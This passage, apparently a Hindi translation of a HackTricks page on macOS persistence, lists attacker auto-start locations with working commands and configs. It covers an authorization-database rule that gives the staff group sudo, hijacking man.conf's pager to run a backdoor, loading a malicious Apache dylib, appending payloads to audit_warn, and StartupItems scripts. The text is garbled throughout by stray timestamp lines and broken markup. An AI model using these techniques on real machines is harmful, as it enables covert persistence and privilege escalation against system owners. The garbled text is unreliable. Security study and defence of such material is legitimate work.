2023-11-06 08:38:02 +00:00
< key > class< / key >
< string > evaluate-mechanisms< / string >
< key > mechanisms< / key >
< array >
< string > CustomAuth:login,privileged< / string >
< / array >
< / dict >
2023-11-03 11:03:53 +00:00
< / plist >
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
2023-11-06 08:38:02 +00:00
इसे ट्रिगर करें:
2023-11-03 11:03:53 +00:00
```bash
security authorize com.asdf.asdf
```
2023-11-06 08:38:02 +00:00
और फिर **स्टाफ ग्रुप को sudo एक्सेस होना चाहिए** (पढ़ें `/etc/sudoers` को कन्फर्म करने के लिए)।
2023-11-03 11:03:53 +00:00
2023-09-28 20:05:35 +00:00
### Man.conf
2023-06-01 21:09:46 +00:00
2023-09-28 20:05:35 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/ ](https://theevilbit.github.io/beyond/beyond\_0030/ )
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आपको रूट होना चाहिए और उपयोगकर्ता को man का उपयोग करना चाहिए
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`/private/etc/man.conf`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता है
* **`/private/etc/man.conf`**: हर बार man का उपयोग किया जाता है
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और एक्सप्लॉइट
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
कॉन्फ़िग फ़ाइल ** `/private/etc/man.conf` ** मैन दस्तावेज़ीकरण फ़ाइलें खोलने के लिए उपयोग करने वाले बाइनरी/स्क्रिप्ट को दर्शाती है। इसलिए, निष्पादित होने पर एक्सेक्यूटेबल के पथ को संशोधित किया जा सकता है ताकि जब भी उपयोगकर्ता किसी डॉक्स को पढ़ने के लिए man का उपयोग करता है, एक बैकडोर निष्पादित होता है।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
उदाहरण के लिए ** `/private/etc/man.conf` ** में सेट करें:
2023-09-28 20:05:35 +00:00
```
MANPAGER /tmp/view
2023-06-01 21:09:46 +00:00
```
2023-11-06 08:38:02 +00:00
और फिर `/tmp/view` को निम्नलिखित रूप में बनाएं:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
#!/bin/zsh
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
touch /tmp/manconf
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
/usr/bin/less -s
```
2023-09-28 15:09:34 +00:00
### Apache2
2023-11-06 08:38:02 +00:00
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आपको रूट होना चाहिए और एपाचे चल रहा होना चाहिए
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* **`/etc/apache2/httpd.conf`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता
* ट्रिगर: जब Apache2 शुरू होता है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पादन
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
आप /etc/apache2/httpd.conf में इंडिकेट कर सकते हैं कि एक मॉड्यूल लोड करने के लिए एक पंक्ति जोड़ें:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
```
{% endcode %}
2023-11-06 08:38:02 +00:00
इस तरह आपके कंपाइल किए गए मॉड्यूल Apache द्वारा लोड होंगे। एकमात्र बात यह है कि आपको इसे एक मान्य Apple प्रमाणपत्र के साथ साइन करने की आवश्यकता है, या आपको सिस्टम में एक नया विश्वसनीय प्रमाणपत्र जोड़ने की आवश्यकता है और उसे साइन करने की आवश्यकता है।
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
फिर, यदि आवश्यक हो, सर्वर को सुनिश्चित करने के लिए आप निम्नलिखित को निष्पादित कर सकते हैं:
2023-09-28 15:09:34 +00:00
```bash
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
```
2023-11-06 08:38:02 +00:00
डाइलब के लिए कोड उदाहरण:
2023-09-28 15:09:34 +00:00
```objectivec
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
2023-11-06 08:38:02 +00:00
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
2023-09-28 15:09:34 +00:00
}
```
2023-11-06 08:38:02 +00:00
### BSM ऑडिट फ्रेमवर्क
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0031/ ](https://theevilbit.github.io/beyond/beyond\_0031/ )
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [🟠 ](https://emojipedia.org/large-orange-circle )
* लेकिन आपको रूट होना चाहिए, ऑडिटडी चल रहा होना चाहिए और चेतावनी का कारण होना चाहिए
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 15:09:34 +00:00
* **`/etc/security/audit_warn`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता
* **ट्रिगर**: जब ऑडिटडी चेतावनी का पता लगाता है
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और उत्पाद
2023-09-28 15:09:34 +00:00
2023-11-06 08:38:02 +00:00
जबकि ऑडिटडी चेतावनी का पता लगाता है, स्क्रिप्ट ** `/etc/security/audit_warn` ** **चलाया जाता है** । इसलिए आप इस पर अपने पेलोड जोड़ सकते हैं।
2023-09-28 15:09:34 +00:00
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
2023-06-01 21:09:46 +00:00
```
2023-11-06 08:38:02 +00:00
आप `sudo audit -n` के साथ एक चेतावनी लागू कर सकते हैं।
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
### स्टार्टअप आइटम्स
2023-06-01 21:09:46 +00:00
2023-09-26 23:39:35 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
**यह पुराना हो गया है, इसलिए निम्नलिखित निर्देशिकाओं में कुछ नहीं मिलना चाहिए।**
2023-09-26 23:39:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
एक **स्टार्टअप आइटम** एक **निर्देशिका** है जो इन दो फ़ोल्डरों में रखी जाती है। `/Library/StartupItems/` या `/System/Library/StartupItems/`
2023-06-01 21:09:46 +00:00
2023-11-06 08:38:02 +00:00
इन दो स्थानों में एक नई निर्देशिका रखने के बाद, उस निर्देशिका के अंदर **और दो आइटम** रखने की आवश्यकता होती है। ये दो आइटम एक **rc स्क्रिप्ट** और कुछ सेटिंग्स रखने वाली **plist** होती है। इस plist का नाम "StartupParameters.plist" होना चाहिए।
2023-06-01 21:09:46 +00:00
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2023-11-06 08:38:02 +00:00
< key > Description< / key >
< string > This is a description of this service< / string >
< key > OrderPreference< / key >
< string > None< / string > <!-- Other req services to execute before this -->
< key > Provides< / key >
< array >
< string > superservicename< / string > <!-- Name of the services provided by this file -->
< / array >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2023-11-06 08:38:02 +00:00
{% tab title="सुपरसेवानाम" %}
2023-06-01 21:09:46 +00:00
```bash
#!/bin/sh
. /etc/rc.common
StartService(){
2023-11-06 08:38:02 +00:00
touch /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
StopService(){
2023-11-06 08:38:02 +00:00
rm /tmp/superservicestarted
2023-06-01 21:09:46 +00:00
}
RestartService(){
2023-11-06 08:38:02 +00:00
echo "Restarting"
2023-06-01 21:09:46 +00:00
}
RunService "$1"
```
{% endtab %}
{% endtabs %}
2023-09-28 20:05:35 +00:00
### ~~emond~~
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
मैं अपने macOS में इस कंपोनेंट को नहीं ढूंढ सकता हूँ, इसलिए अधिक जानकारी के लिए व्राइटअप देखें
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
व्राइटअप: [https://theevilbit.github.io/beyond/beyond\_0023/ ](https://theevilbit.github.io/beyond/beyond\_0023/ )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
Apple ने एक लॉगिंग मेकेनिज़्म को **emond** के नाम से पेश किया। ऐसा लगता है कि इसे कभी पूरी तरह से विकसित नहीं किया गया था, और एप्पल ने अन्य मेकेनिज़्म के लिए इसके विकास को **छोड़ दिया** हो सकता है, लेकिन यह **उपलब्ध** है।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
यह छोटा-सा जाना-माना सेवा एक Mac व्यवस्थापक के लिए **बहुत उपयोगी नहीं हो सकती है** , लेकिन एक धमकी प्रदाता के लिए एक बहुत अच्छा कारण होगा कि वह इसे एक **स्थायित्व मेकेनिज़्म के रूप में उपयोग करें, जिसे शायद अधिकांश macOS व्यवस्थापक नहीं जानते** होंगे। emond के दुष्प्रभाव का पता लगाना कठिन नहीं होना चाहिए, क्योंकि सिस्टम लॉन्चडेमन सेवा केवल एक ही स्थान में चलाने के लिए स्क्रिप्ट खोजती है:
2023-09-28 20:05:35 +00:00
```bash
ls -l /private/var/db/emondClients
```
### ~~XQuartz~~
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
2023-11-06 08:38:02 +00:00
* रूट की आवश्यकता
* **ट्रिगर**: XQuartz के साथ
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और अभिकर्म
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
XQuartz **macOS में अब स्थापित नहीं है** , इसलिए अधिक जानकारी के लिए लेख की जांच करें।
2023-09-28 20:05:35 +00:00
### ~~kext~~
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
केवल रूट के रूप में kext स्थापित करना इतना कठिन है कि मैं इसे सैंडबॉक्स से बाहर निकलने या स्थिरता के लिए विचार नहीं करूंगा (जब तक आपके पास कोई शोषण नहीं है)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
स्टार्टअप आइटम के रूप में एक KEXT स्थापित करने के लिए, इसे निम्नलिखित स्थानों में स्थापित किया जाना चाहिए:
2023-09-28 20:05:35 +00:00
* `/System/Library/Extensions`
2023-11-06 08:38:02 +00:00
* OS X ऑपरेटिंग सिस्टम में बिल्ट-इन KEXT फ़ाइलें।
2023-09-28 20:05:35 +00:00
* `/Library/Extensions`
2023-11-06 08:38:02 +00:00
* तृतीय पक्ष सॉफ़्टवेयर द्वारा स्थापित किए गए KEXT फ़ाइलें
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
आप वर्तमान में लोड किए गए kext फ़ाइलों की सूची देख सकते हैं:
2023-09-28 20:05:35 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2023-11-06 08:38:02 +00:00
अधिक जानकारी के लिए [**कर्नल एक्सटेंशन्स की जांच करने के लिए इस खंड की जांच करें** ](macos-security-and-privilege-escalation/mac-os-architecture#i-o-kit-drivers ).
2023-09-28 20:05:35 +00:00
### ~~amstoold~~
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
* **`/usr/local/bin/amstoold`**
2023-11-06 08:38:02 +00:00
* रूट अनिवार्य
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
जाहिर है कि `/System/Library/LaunchAgents/com.apple.amstoold.plist` से यह बाइनरी उपयोग कर रहा था जबकि एक XPC सेवा को उजागर कर रहा था... समस्या यह है कि बाइनरी मौजूद नहीं थी, इसलिए आप वहां कुछ रख सकते हैं और जब XPC सेवा को कॉल किया जाता है तो आपकी बाइनरी को कॉल किया जाएगा।
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
मुझे अब अपने macOS में यह नहीं मिल रहा है।
2023-09-28 20:05:35 +00:00
### ~~xsanctl~~
2023-11-06 08:38:02 +00:00
लेख: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### स्थान
2023-09-28 20:05:35 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2023-11-06 08:38:02 +00:00
* रूट अनिवार्य
* **ट्रिगर**: सेवा चलाई जाती है (शायद)
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
#### विवरण और शोषण
2023-09-28 20:05:35 +00:00
2023-11-06 08:38:02 +00:00
जाहिर है कि इस स्क्रिप्ट को चलाना अधिकांश बार आम नहीं है और मैं अपने macOS में इसे भी नहीं ढूंढ सका, इसलिए अधिक जानकारी के लिए लेख की जांच करें।
2023-09-28 20:05:35 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
**यह मॉडर्न MacOS संस्करणों में काम नहीं कर रहा है**
2023-06-01 21:09:46 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
यहां **स्टार्टअप पर निष्पादित होने वाले कमांड** भी रखना संभव है। एक साधारण rc.common स्क्रिप्ट का उदाहरण:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2023-11-06 08:38:02 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2023-11-06 08:38:02 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2023-11-06 08:38:02 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2023-11-06 08:38:02 +00:00
## Persistence तकनीक और उपकरण
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2023-11-06 08:38:02 +00:00
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं** ](https://github.com/sponsors/carlospolop ) की जांच करें!
* खोजें [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), हमारा विशेष [**NFT** ](https://opensea.io/collection/the-peass-family ) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **शामिल हों** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord समूह** ](https://discord.gg/hRep4RUj7f ) या [**टेलीग्राम समूह** ](https://t.me/peass ) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **और** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **को।**
2023-06-01 21:09:46 +00:00
< / details >